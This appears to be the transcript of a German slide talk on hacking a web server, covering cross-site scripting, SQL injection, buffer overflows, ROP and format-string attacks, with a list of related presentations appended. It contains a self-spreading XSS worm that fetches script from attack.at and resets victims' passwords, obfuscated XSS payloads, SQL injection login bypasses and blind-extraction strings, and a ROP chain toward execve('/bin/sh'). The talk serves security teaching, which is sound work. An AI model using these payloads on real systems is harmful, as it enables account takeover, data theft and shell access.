Anatomie eines Webserver Hacks
|
|
|
- Nora Ackermann
- vor 9 Jahren
- Abrufe
Transkript
1 Anatomie eines Webserver Hacks Alexander Inführ René Freingruber
2 Agenda Einführung und Zielsetzung Angriff 1: Cross Site Scripting Angriff 2: SQL Injection Angriff 3: Format String Attacke
3 Einführung Zielsetzung: Hacken eines Webservers Rootzugang per SSH Backdoor Interessante Hacks! Nicht nur Grundlagen Ausgangssituation: Angreifer im Auto in anderem Ort WEP / WPA2(WPS) Netzwerk gehackt VPN + Socks5 aktiv, Festplatte verschlüsselt
4 Cross-Site Scripting XSS
5 XSS Definition Benutzereingaben werden unkodiert in der Ergebniswebseite integriert. Angreifer kann Code in Seite einschleusen Code wird im Browser von Besuchern ausgeführt. Beispiel: Suche, Gästebuch, Forum, Logfiles
6 HTML & Javascript
7 Injection Points Direct HTML Markup Injection Javascript string <h1>userinput</h1> <script> var s= UserInput </script> Html attribute <input value= UserInput >
8 Innerhalb HTML Attribute <input type=text value= UserInput > UserInput: A autofocus onfocus=alert( XSS )// <input type=text value= A autofocus onfocus=alert( XSS )// >
9 Javascript String <script>var s= UserInput ;</script> Userinput: out ;alert(/xss/)// </script><svg/onload=alert(/xss/)> Var s= out ;alert(/xss/)// Var s= </script><svg/onload=alert(/xss/)>
10 Beispiel XSS Worm src=attack.at/a.js></script> var req2 = new XMLHttpRequest(); var req3 = new XMLHttpRequest(); req2.open('get', 'fakebook.pl?sub=detail', false); req2.send(null); var t = req2.responsetext; var x = t.substr(t.lastindexof('friends'), t.length); x=x.substr(0,x.indexof("\n")); var split = x.split("</a>"); var n;
11 Beispiel XSS Wurm for(i = 0; i < split.length; i++){ n = split[i].substr(split[i].lastindexof('>')+1, split[i].length); req3.open('get', 'fakebook.pl?sub=detail&id=' + n + '&newmsg=check this Group: <a href= <script src=attack.at/a.js></script> >Fakebook</a>', true); req3.send(null); } var req = new XMLHttpRequest(); req.open('get', 'fakebook.pl? sub=changepw&newpw=you_got_owned&pwrep=you_got_owned', false); req.send(null);
12 Obfuscation Verschleiern von Programmcode Geheimhaltung von Quellcode Filterbypass Angriffe verbergen
13 HTML Obfuscation ><iframe src= Leerzeichen ersetzen Falscher Attribute Name Data Uri oder Javascript Uri Base64 Offener Tag Html entities
14 HTML Obfuscation Leerzeichen ersetzen <iframe/weneedtext/src= ></iframe> Falscher Attribute Name <img alt/= ><iframe src= ></iframe> >
15 HTML Obfuscation Data Uri oder Javasript Uri: <iframe src= data:text/html,<script>alert(/xss/)</script> ></iframe> <iframe src= javascript:alert(/xss/) ></iframe> <a href= javascript:alert(document.cookie) >You want to click me</a>
16 HTML Obfuscation Base64 Offener Tag <iframe src= data:text/html;base64,phnjcmlwdd5hbg VydCgvWFNTLyk8L3NjcmlwdD4= ></iframe> <iframe src= HTML Entities a=a b= b :=:
17 Html Obfuscation Payload ><img/asdfetwq/zasdf/= ><iframe/aata/src= data:hello;base64,phnjcmlwdd 5hbGVydCgvWFNTLyk8L3NjcmlwdD4=
18 Javascript Obfuscation alert(/xss/); FunctionName Encoding (\u0061) String Encodings (\u0061,\x61,\141) Using Constructor Statement Using Function Prototype Non Alpha Numeric Smiley Encoding
19 Beispiele FunctionName Encoding \u0061l\u0065rt(/xss/) or \u0061\u006c\u0065\u0072\u0074(/xss/) String Encoding: window['alert'](/xss/) Using Constructor Statement: window['\u0061\x6c\e\162t'](/xss/) 'a'.constructor.constructor( alert(/xss/) )() Using Function Prototype Function.prototype.apply.apply(alert,[,[/XSS/]])
20 Obfuscation Beispiel ({})[$='\143\157\156\163\164\162',$ $='\165\143\164\157\162',$+$$][$+$$] ('\141\154\145\162\164\50/xss/\51')() ({}) = Erstellt ein Objekt [$+$ $='\143\157\156\163\164\162\165\143\164\15 7\162'] = 'constructor' $+$$ = Zusammenfügung der beiden Strings '\141\154\145\162\164\50/xss/\51' = alert(/xss/) () aufruf der Function, die erstellt wurde
21 Non Alpha Numeric (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+! +[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+ []+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+ ([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(! +[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+ []+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[] +[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+ [])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+ [+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[] [[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![] +[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(! +[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+ []]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+ []]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+ []]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!! []+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[] +!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]) [!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+! +[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+ []+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+ [])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+ []]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[]) [!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![] +[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+ []+!+[]+!+[]+!+[]+!+[]]])()
22 Javascript Smiley ゚ ω ゚ノ = / m ノ ~ //* */ ['_']; o=( ゚ー゚ ) =_=3; c=( ゚ Θ ゚ ) =( ゚ー゚ )-( ゚ー゚ ); ( ゚ Д ゚ ) =( ゚ Θ ゚ )= (o^_^o)/ (o^_^o);( ゚ Д ゚ )={ ゚ Θ ゚ : '_', ゚ ω ゚ノ : (( ゚ ω ゚ノ ==3) +'_') [ ゚ Θ ゚ ], ゚ー゚ノ :( ゚ ω ゚ノ + '_')[o^_^o -( ゚ Θ ゚ )], ゚ Д ゚ノ :(( ゚ー゚ ==3) +'_')[ ゚ー゚ ] }; ( ゚ Д ゚ ) [ ゚ Θ ゚ ] =(( ゚ ω ゚ノ ==3) +'_') [c^_^o];( ゚ Д ゚ ) ['c'] = (( ゚ Д ゚ )+'_') [ ( ゚ー゚ )+( ゚ー゚ )-( ゚ Θ ゚ ) ];( ゚ Д ゚ ) ['o'] = (( ゚ Д ゚ )+'_') [ ゚ Θ ゚ ];( ゚ o ゚ )=( ゚ Д ゚ ) ['c']+( ゚ Д ゚ ) ['o']+( ゚ ω ゚ノ +'_')[ ゚ Θ ゚ ]+ (( ゚ ω ゚ ノ ==3) +'_') [ ゚ー゚ ] + (( ゚ Д ゚ ) +'_') [( ゚ー゚ )+( ゚ー゚ )]+ (( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+(( ゚ー゚ ==3) +'_') [( ゚ー゚ ) - ( ゚ Θ ゚ )]+( ゚ Д ゚ ) ['c']+(( ゚ Д ゚ )+'_') [( ゚ー゚ )+( ゚ー゚ )]+ ( ゚ Д ゚ ) ['o']+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ];( ゚ Д ゚ ) ['_'] =(o^_^o) [ ゚ o ゚ ] [ ゚ o ゚ ];( ゚ ε ゚ )=(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚ Д ゚ ). ゚ Д ゚ノ +(( ゚ Д ゚ )+'_') [( ゚ー゚ ) + ( ゚ー゚ )]+(( ゚ー゚ ==3) +'_') [o^_^o - ゚ Θ ゚ ]+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚ ω ゚ノ +'_') [ ゚ Θ ゚ ]; ( ゚ー゚ )+=( ゚ Θ ゚ ); ( ゚ Д ゚ )[ ゚ ε ゚ ]='\\'; ( ゚ Д ゚ ). ゚ Θ ゚ノ =( ゚ Д ゚ + ゚ー゚ )[o^_^o -( ゚ Θ ゚ )];(o ゚ー゚ o)=( ゚ ω ゚ノ +'_')[c^_^o];( ゚ Д ゚ ) [ ゚ o ゚ ]='\"';( ゚ Д ゚ ) ['_'] ( ( ゚ Д ゚ ) ['_'] ( ゚ ε ゚ +( ゚ Д ゚ )[ ゚ o ゚ ]+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+ ( ゚ Θ ゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ((o^_^o) - ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ (c^_^o)+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+ ((o^_^o) +(o^_^o))+ (c^_^o)+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ o ゚ ]) ( ゚ Θ ゚ )) ('_');
23 DEMO XSS!
24 SQL Injection SQLi
25 SQL Injection: Theorie Einfache SQL Abfragen: SELECT username, password FROM usertabelle WHERE alter >= 18 ; Gib sämtliche Benutzer mit deren Passwort zurück, welche erwachsen sind.
26 Die usertabelle id username password alter 0 admin admin 23 1 carl pw bob sela lisa himmel 17 4 malloy password 14 5 lara <3joe 26 6 georg!3klxy%4)9xsf& 32 7 tom tommy
27 Ergebnismenge der SQL Abfrage id username password alter 0 admin admin 23 1 carl pw bob sela lisa himmel 17 4 malloy password 14 5 lara <3joe 26 6 georg!3klxy%4)9xsf& 32 7 tom tommy
28 SQL Injection: Login Bypass Login-Abfrage: SELECT * FROM usertabelle WHERE username = 'USER_INPUT1' AND password = 'USER_INPUT2' ; Falls Ergebnismenge >= 1 ist, war Login erfolgreich
29 Die usertabelle id username password alter 0 admin admin 23 1 carl pw bob sela lisa himmel 17 4 malloy password 14 5 lara <3joe 26 6 georg!3klxy%4)9xsf& 32 7 tom tommy
30 Eingabe: lisa / himmel id username password alter 0 admin admin 23 1 carl pw bob sela lisa himmel 17 4 malloy password 14 5 lara <3joe 26 6 georg!3klxy%4)9xsf& 32 7 tom tommy
31 SQL Injection: Login Bypass Angreifer macht folgende Eingabe: SELECT * FROM usertabelle WHERE username = 'admin' AND password = '' or '1'='1' ;
32 SQL Injection: Login Bypass Angreifer macht folgende Eingabe: SELECT * FROM usertabelle WHERE username = 'admin' -- ' AND password = 'egal' ;
33 SQL Injection: Login Bypass Angreifer macht folgende Eingabe: SELECT * FROM usertabelle WHERE username = 'admin'/*' AND password = '*/ and '1'='1' ;
34 SQL Injection: Login Bypass Angreifer macht folgende Eingabe: SELECT * FROM usertabelle WHERE username = '' or 1=1 limit 1 offset 0-- ' AND password = 'egal' ;
35 SQL Injection: Union Folgende Abfrage um Benutzer mit einem bestimmten Alter anzuzeigen: SELECT username, alter FROM usertabelle WHERE alter = USER_INPUT
36 SQL Injection: Union SELECT username, alter FROM usertabelle WHERE alter = 0 UNION SELECT
37 SQL Injection: Group Concat Wenn nur erstes Tupel angezeigt wird:
38 SQL Injection: Binäre Antwort Was machen, wenn Ergebnis nicht angezeigt wird? Beispielsweise bei Login Nur ja/nein Ergebnis in Fehlermeldungen Ergebnis Bit für Bit auslesen Ergebnis per DNS / übertragen Ergebnis im Webroot in File speichern
39 Error Based Injection Anwendbar, wenn Fehlermeldung angezeigt werden. Userinput: union select 0x3a,floor(rand(0)*2)) as x from information_schema.tables group by x;
40 Blind SQLi Bitweise Auslesen Userinput: ' or 128 >= ascii(substring(user(),1,1)) - True Erstes Zeichen kleiner Ascii-128 ' or 64 >= ascii(substring(user(),1,1)) - False Erstes Zeichen zwischen 65 u. 128 ' or 96 >= ascii(substring(user(),1,1)) - True Erstes Zeichen zwischen 65 u. 96 usw.
41 Blind SQLi Bitweise Auslesen Schlecht: Spätere Requests hängen vom Ergebnis von früheren Requests ab. Kein Threading möglich langsam Lösung: Bitmasken bzw. find_in_set()
42 Blind SQLi Bitweise Auslesen
43 SQLi: Find_in_set()
44 DEMO Upload PHP nonalphanumeric Shell mittels Datum-SQLi
45 Bufferoverflow (BOF) und Formatstring Attacke
46 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) ESP Stack grows downwards EIP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); Heap grows upwards } HEAP Low address
47 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) EIP Arg3: 0x ESP Stack grows downwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); Heap grows upwards } HEAP Low address
48 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) EIP Arg3: 0x Stack grows downwards Arg2: 0x ESP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); Heap grows upwards } HEAP Low address
49 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) EIP Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Heap grows upwards ESP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
50 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) EIP Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) ESP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
51 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) EIP Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) ESP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
52 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) EIP Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) ESP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
53 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) ESP Heap grows upwards EIP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
54 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) EIP Old EBP (SFP) ESP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
55 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) Arg3: 0x (%EBP) Arg2: 0x (%EBP) Stack grows Arg1: 0x (%EBP) downwards Old EIP (RET) 4(%EBP) EBP Old EBP (SFP) -4(%EBP) (%EBP) ESP -8(%EBP) -12(%EBP) Heap grows upwards EIP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
56 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) EBP Heap grows upwards EIP Old EBP (SFP) ESP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
57 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) EBP Old EBP (SFP) ESP EIP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
58 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) EBP Old EBP (SFP) buf[4-7] buf[0-3] ESP Heap grows upwards EIP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
59 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) EBP Old EBP (SFP) buf[4-7] buf[0-3] ESP EIP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
60 STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc ) Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) EBP Old EBP (SFP) buf[4-7] buf[0-3] Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( Write Direction int a, int b, int c) { ESP char buf[8]; EIP gets(buf); } HEAP Low address
61 Bufferoverflow STACK before BOF Old Values High address (e.g. 0xc ) Shellcode Arg3: 0x Arg2: 0x Stack grows Arg1: 0x downwards Old EIP (RET) EBP Hardcoded address buf[0-3] -8(%EBP) NOP Sled (= 0x ) New RET address Old EBP (SFP) buf[4-7] -4(%EBP) STACK after BOF EBP Write direction ESP Execution path EIP after ret-instr. Padding (e.g.: 0x ) ESP
62 Schutzmaßnahme: ASLR High address NOT STATIC STACK after BOF Shellcode Hardcoded address NOP Sled (= 0x ) New RET address EBP Padding (e.g.: 0x ) Bypass methods: 1) Bruteforce 2) Use registers (jmp eax or esp) 3) Use stack Variable (pop pop ret) 4) Use heap (only ASLR v.1) 5) Use bss, text, sections 5) Call program with execve 6) Use a format string vuln 7) Overflow function variables, e.g. the argument of system() 8) Mutliple overflows (2 or more) ESP 9) Overflow structs e.g. set isadmin field to true..
63 Schutzmaßnahme: DEP High address STACK after BOF (e.g. 0xc ) NOT EXECUTABLE Shellcode Hardcoded address Bypass methods: 1) ret2libc ==> Just overwrite ret address with system() function address. NOP Sled (= 0x ) New RET address EBP Padding (e.g.: 0x ) ESP
64 Zusammenfassung Beide Schutzmaßnahmen alleine: schwach Schutzmaßnahmen zusammen: stark Return Oriented Programming (ROP) Springe vorhandenen Code in nicht randomisiertem Text-Segment an. Baue aus Gadges gesamten Shellcode
65 Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax
66 Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax
67 Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax s += struct.pack("<i", 0x6e69622f) # /bin
68 Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax s += struct.pack("<i", 0x6e69622f) # /bin
69 Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax s += struct.pack("<i", 0x6e69622f) # /bin Wir speichern in EAX /bin
70 Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax s += struct.pack("<i", 0x6e69622f) # /bin s += struct.pack("<i", 0x08053e0c) # pop edx s += struct.pack("<i", 0x080d0141) # addr where we want to write /bin Wir speichern in EDX 0x080d0141
71 Return Oriented Programming s += struct.pack("<i", 0x080d0141) # addr where we want to write /bin s += struct.pack("<i", 0x ) # mov [edx] eax Wir schreiben nach 0x080d0141 den String /bin
72 Schritte zu Shell Setze EAX = 23 (setuid), EBX = 0 Rufe int 0x80 auf: setuid(0) Schreibe /bin/sh in den Speicher (1) Schreibe Addr. von /bin/sh in den Speicher (2) Setze EDX = 0 (Umgebung) Setze ECX auf Addr. Von (2) : Addr. v. /bin/sh Setze EBX auf Addr von (1) : /bin/sh Setze EAX = 11 (execve) Rufe int 0x80 auf: execve( /bin/sh,.)
73 Format String Attacke Sicherer Programmcode: pr i nt f ( % s, buf f er ) ; Unsicherer Programmcode: pr i nt f ( buf f er ) ;
74 Format String Attacke Format Parameter %s %x lesen von Stack Format Parameter %n schreibt auf Adresse von Stack Speichert bisher geschriebenen Bytes!
75 Format String Attacke
76 Format String Attacke
77 DEMO ROP Format String Attack!
78 Weitere Informationen Insert-script.blogspot.co.at Juggl3r.at Securitytube.net Owasp.org Html5sec.org Tuts4you.com Exploit-db.com Thespanner.co.uk
79 Bücher Web Application Hackers Handbook SQL Injection Attack and Defense Web Application Obfuscation Sicherheitsrisiko Web Anwendung The Shellcoder's Handbook Hacking: Die Kunst des Exploits Aus dem Tagebuch eines Bughunters The Rootkit Arsenal
80 END Fragen?
Einführung in die Programmiersprache C
Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.
Einführung in die Programmiersprache C
Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.
7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {
Universität Mannheim Lehrstuhl für Praktische Informatik 1 Prof. Dr. Felix C. Freiling Dipl.-Inform. Martin Mink Dipl.-Inform. Thorsten Holz Vorlesung Angewandte IT-Sicherheit Herbstsemester 2006 Übung
U23 - Shellcode. Twix Chaos Computer Club Cologne. Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides
Twix e.v. http://koeln.ccc.de 2016-11-28 Überblick 1 Motivation Was ist Shellcode? Beispiel 2 Einstieg Erzeugen, Testen von Shellcode 3 Der erste Shellcode Strings in Shellcode 4 Nullbytes, NOP Slides
Hacking. InfoPoint 07.12.2005. Jörg Wüthrich
Hacking InfoPoint 07.12.2005 Jörg Wüthrich Inhalte Rund um das Thema Hacking Angriffs-Techniken Session Handling Cross Site Scripting (XSS) SQL-Injection Buffer Overflow 07.12.2005 Infopoint - Hacking
Übungen zur Vorlesung Systemsicherheit
Übungen zur Vorlesung Systemsicherheit Address Space Layout Randomization Tilo Müller, Reinhard Tartler, Michael Gernoth Lehrstuhl Informatik 1 + 4 19. Januar 2011 c (Lehrstuhl Informatik 1 + 4) Übungen
Sicherheit von Webapplikationen Sichere Web-Anwendungen
Sicherheit von Webapplikationen Sichere Web-Anwendungen Daniel Szameitat Agenda 2 Web Technologien l HTTP(Hypertext Transfer Protocol): zustandsloses Protokoll über TCP auf Port 80 HTTPS Verschlüsselt
Sicherheit in Software
Sicherheit in Software Fabian Cordt und Friedrich Eder 3. Juni 2011 Allgemeines Begriffserklärung Woher Die 19 Todsünden 1 - Teil 2 - Teil 3 - Teil Was kann passieren Probleme beim Porgramm Durch Lücken
Softwaresicherheit. Eine Präsentation von Benedikt Streitwieser und Max Göttl. Einführung Kryptographie und IT-Sicherheit
Softwaresicherheit Eine Präsentation von Benedikt Streitwieser und Max Göttl Einführung Kryptographie und IT-Sicherheit Gliederung Einleitung: Was ist Softwaresicherheit Populäre Beispiele Anforderungen
PS Kryptographie und IT-Sicherheit. Thema: Software-Sicherheit. Thomas Loch, Michael Streif 2012
PS Kryptographie und IT-Sicherheit Thema: Software-Sicherheit Thomas Loch, Michael Streif 2012 Malicious / Invalid Input Exploits nutzen Nebeneffekte von ungültigen Benutzereingaben aus, die vom Programmierer
Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)
Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else
SQL-Injection by. SQL Injection Teil 2 R. Mirzaev & J. Kresslein 1
SQL-Injection by SQL Injection Teil 2 R. Mirzaev & J. Kresslein 1 Inhalt Schon bekannte Angriffsformen? User-Agent based SQL Injection + Demo Zeitbasierte SQL Injection Blind SQL Injection + Demo PostgreSQL
S7: Java als Sicherheitsrisiko security-zone Renato Ettisberger
S7: Java als Sicherheitsrisiko security-zone 2011 Renato Ettisberger [email protected] Zürich, 11. Oktober 2011 Security (SWITCH-CERT) Derzeit 7 Mitarbeiter, bald 10 Unser Team erbringt Security-Dienstleistungen
Sicheres C Programmieren in Embedded Systemen ARM I (ARM7TMDI [1] ) Wintersemester 2010-2011
Sicheres C in Embedded Systemen ARM I (ARM7TMDI [1] ) Wintersemester 2010-2011 Dipl. Ing. (FH) Ebrecht Roland, Infineon Technologies AG M.Eng (Electronic Systems) Güller Markus, Infineon Technologies AG
Sicheres C Programmieren in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011
Sicheres C in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011 Dipl. Ing. (FH) Ebrecht Roland, Infineon Technologies AG M.Eng (Electronic Systems) Güller Markus, Infineon Technologies
Wie sichert man APEX-Anwendungen gegen schädliche Manipulationen und unerwünschte Zugriffe ab?
APEX aber sicher Wie sichert man APEX-Anwendungen gegen schädliche Manipulationen und unerwünschte Zugriffe ab? Carola Berzl BASEL BERN BRUGG GENF LAUSANNE ZÜRICH DÜSSELDORF FRANKFURT A.M. FREIBURG I.BR.
When your browser turns against you Stealing local files
Information Security When your browser turns against you Stealing local files Eine Präsentation von Alexander Inführ whoami Alexander Inführ Information Security FH. St Pölten Internet Explorer Tester
Einführung in Web-Security
